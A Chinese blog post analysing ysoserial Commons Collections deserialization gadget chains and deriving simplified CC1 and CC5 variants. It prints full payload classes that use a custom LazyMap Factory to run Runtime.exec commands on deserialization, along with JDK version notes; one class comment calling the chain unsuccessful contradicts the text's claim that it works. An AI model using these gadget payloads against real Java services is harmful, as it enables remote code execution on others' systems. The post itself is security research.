首页 > 其他分享 >YSO CC链的研究与衍生

YSO CC链的研究与衍生

时间:2022-10-18 10:55:56浏览次数:51  
标签:Map YSO CC public execArgs import new 衍生 final

YSO CC链的研究与衍生

0x00

近期重新对yso里面的CC链进行重新研究分析,得出一些新的心得以及一些链的优化和衍生用法。

0x01

在对yso攻击链的分析当中,最有用的资料莫过于在每个payload的最上面的调用链方式。如cc1:

/*
 Gadget chain:
  ObjectInputStream.readObject()
   AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
     AnnotationInvocationHandler.invoke()
      LazyMap.get()
       ChainedTransformer.transform()
        ConstantTransformer.transform()
        InvokerTransformer.transform()
         Method.invoke()
          Class.getMethod()
        InvokerTransformer.transform()
         Method.invoke()
          Runtime.getRuntime()
        InvokerTransformer.transform()
         Method.invoke()
          Runtime.exec()

 Requires:
  commons-collections
 */

cc1当中,比较关键点的是触发LazyMap.get()方法。 LazyMap意思就是这个Map中的键/值对一开始并不存在,当被调用到时才创建。我们这样来理解:我们需要一个Map,但是由于创建成员的方法很“重”(比如数据库访问),或者我们只有在调用get()时才知道如何创建,或者Map中出现的可能性很多很多,我们无法在get()之前添加所有可能出现的键/值对,我们觉得没有必要去初始化一个Map而又希望它可以在必要时自动处理数据。transformerChain实际上有点像python的生成器(generator),帮忙在get(key)的时候生成代码value值。

查看LazyMap构造的代码。


final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

使用的是LazyMap的静态方法,进入查看decorate方法。

    public static Map decorate(Map map, Factory factory) {
        return new LazyMap(map, factory);
    }

    /**
     * Factory method to create a lazily instantiated map.
     * 
     * @param map  the map to decorate, must not be null
     * @param factory  the factory to use, must not be null
     * @throws IllegalArgumentException if map or factory is null
     */
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

发现decorate方法重载了两个方法。一个是传入Factiory对象,一个是传入Transformer对象。 CC1默认的是使用第二种方式,传入的是Transformer对象。这样就是原来链当中一长串链式表达式的内容。

final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{new ConstantTransformer(1)});
            
final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                String.class, Class[].class}, new Object[]{
                "getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{
                Object.class, Object[].class}, new Object[]{
                null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class}, execArgs),
            new ConstantTransformer(1)};

同时,该方法最后还要调用反射区去修改Transformer数组。 看到decorate方法的时候,我的想法是能不能走Map decorate(Map map, Factory factory)这一块。按LazyMap的资料,不管是Factory factory,还是Transformer factory,都是代表的是生成器的算法。所以这个链的本质问题又归结为我们要在写一个恶意的生成器算法,当LazyMap.get一个不存在的key时,会调用这个恶意生成器,造成我们想要的结果。按照这个思路,我在原本的CC1类中,定义了一个集成于Factory的匿名类。

public InvocationHandler getObject(String command) throws Exception {
        final String[] execArgs = new String[]{command};
        final Map innerMap = new HashMap();
        Factory newFactory1 = new Factory() {
            @Override
            public Object create() {
                System.out.println("create objectFactoryProxy");
                return null;
            }
        };
        final Map lazyMap = LazyMap.decorate(innerMap, newFactory1);

        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        return handler;
    }

如果反序列化成功,终端会输出一段英文。运行的时候发现报错,内容如下:

generating payload object(s) for command: '/Applications/iTerm.app/Contents/MacOS/iTerm2'
serializing payload
Exception in thread "main" java.io.NotSerializableException: ysoserial.payloads.CommonsCollections10$1

说明Factory类是不能序列化的,匿名类需要实现Serializable接口,但Factory又是抽象类,所以需要一个新写一个类继承Factory,然后又实现Serializable接口。我就在cc1类中新建了一个内部类。

public class NewFactory implements Factory, Serializable {
        private final String[] execArgs;

        public NewFactory(String[] execArgs) {
            this.execArgs = execArgs;
        }

        @Override
        public Object create() {

            //exp
            System.out.println(execArgs);
//            System.out.println("123123");
            try {
                Runtime.getRuntime().exec(execArgs);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            return null;
        }
    }

最终CC1代码改写成:

package ysoserial.payloads;

import org.apache.commons.collections.Factory;
import org.apache.commons.collections.map.LazyMap;
import org.junit.jupiter.api.Test;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;

import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections10 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
    //    成功
    @Override
    public InvocationHandler getObject(String command) throws Exception {
        final String[] execArgs = new String[]{command};
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, new NewFactory(execArgs));

        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        return handler;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections10.class, args);
    }


    public class NewFactory implements Factory, Serializable {
        private final String[] execArgs;

        public NewFactory(String[] execArgs) {
            this.execArgs = execArgs;
        }

        @Override
        public Object create() {

            //exp
            System.out.println(execArgs);
//            System.out.println("123123");
            try {
                Runtime.getRuntime().exec(execArgs);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            return null;
        }
    }
}

这样子,exp直接写在create里面即可。运行,成功执行命令。 如果没有弹框,那就降低一下jdk版本。我在JDK1.8_60下是成功的,1.8_333下是失败的。 通过上述可以把原本难的链式Transformer,变成简单的正常代码执行。

举一反三

上诉关键点使用功能的LazyMap.get(),查看其他CC链,发现CC5也用到了LazyMap.get():

/*
	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
Requires:
	commons-collections

/
/

所以CC5也可以这么替换成一个简单的攻击链。 直接给出代码:

package ysoserial.payloads;

import org.apache.commons.collections.Factory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.junit.jupiter.api.Test;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.management.BadAttributeValueExpException;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections9 extends PayloadRunner implements ObjectPayload<Serializable> {
    //    序列化就报错,未成功
    @Override
    public BadAttributeValueExpException getObject(String command) throws Exception {
        final String[] execArgs = new String[]{command};
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, new NewFactory(execArgs));

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, entry);

        return val;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections9.class, args);
    }

    @Test
    public void test() throws Exception {
        final Map innerMap = new HashMap();
        Factory factory = new Factory() {
            @Override
            public Object create() {
                System.out.println("反序列化成功");
                return "123";
            }
        };
        final Map lazyMap = LazyMap.decorate(innerMap, factory);
        System.out.println(lazyMap.get("123"));
    }

    public class NewFactory implements Factory, Serializable {
        private final String[] execArgs;

        public NewFactory(String[] execArgs) {
            this.execArgs = execArgs;
        }

        @Override
        public Object create() {
            System.out.println(execArgs);
            try {
                Runtime.getRuntime().exec(execArgs);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            return null;
        }
    }
}

这个链无论是低版本jdk还是高版本jdk都可以触发,不受jdk版本影响。

其他

github 我在这个fork的代码项目当中加入了一些我自己理解而写的注释,可能理解有误。请自行辩解。

标签:Map,YSO,CC,public,execArgs,import,new,衍生,final
From: https://www.cnblogs.com/ph4nt0mer/p/16801880.html

相关文章

  • JNA(java native Access)
    在JavaFX开发中,在对应的Java桌面系统范围内,监听绑定事件和web项目类似,绑定dom即可。 但需要在Java桌面系统范围外,全局监听window某些按键,唤醒Java桌面应用或是一些其他......
  • mysql事务隔离级别及MVCC 原理
    一、事务的隔离级别为了保证事务与事务之间的修改操作不会互相影响,innodb希望不同的事务是隔离的执行的,互不干扰。两个并发的事务在执行过程中有读读、读写(一个事务在读......
  • JdbcConfig
    JdbcConfigjdbc.properties注解版@Value("${jdbc.driver}")privateStringdriver;@Value("${jdbc.url}")privateStringurl;@Value("${jdbc.use......
  • vue3+vite 使用defineAsyncComponent动态异步引入组件出错时的解决办法
    constname='c1'constcurrentComponent=shallowRef()constcomponents=import.meta.glob("./a/*.vue");currentComponent.value=defineAsyncComponent(compon......
  • [Typescript] Tips: Make accessing objects safer by enabling 'noUncheckedIndexedA
    The"noUncheckedIndexedAccess"isthemostawesomeconfigoptionyou'veneverheardof.Itmakesaccessingobjectsalotsafer,andalsopowersupTypeScript's......
  • MVCC版本控制
    MVCC被为多版本并发控制在MySQL中用于实现RR级别与RC级别利用了undolog日志版本链。当查询的时候会生成一个事务id和readview的事务id数组,readview的数组放的是当前未提......
  • AcCoders 10692:【2022NOIP联测10 10月17日】交换(swap) 题解
    考虑把一次交换产生的贡献记录在交换的两个数字中较小的那个数字上。则构造一个好的序列的过程可以看成是:按照从小到大的顺序枚举每个数,每次选择将这个数放在序列的左边或......
  • mysql安装时经常遇到的Access denied for user 'root'@XXXXXXX
    经常我们安装了mysql后,本地(安装mysql的服务器上)通过shell的方式可以登录,但是无法通过工具远程连接,这时候可能是因为mysql的初始的几个账号密码为空的原因;只需要修改下默认......
  • Netty源码分析——客户端接入accept过程
    基于Netty源代码版本:netty-all-4.1.33.Finalnetty中的reactor线程netty中最核心的东西莫过于两种类型的reactor线程,可以看作netty中两种类型的发动机,驱动着netty整个框架......
  • QFramework v1.0 使用指南 架构篇:18. 内置工具:IOCContainer
    QFramework架构的模块注册与获取是通过IOCContainer实现的。IOC的意思是控制反转,即控制反转容器。其技术的本质很简单,本质就是一个字典,Key是Type,Value是Object,即......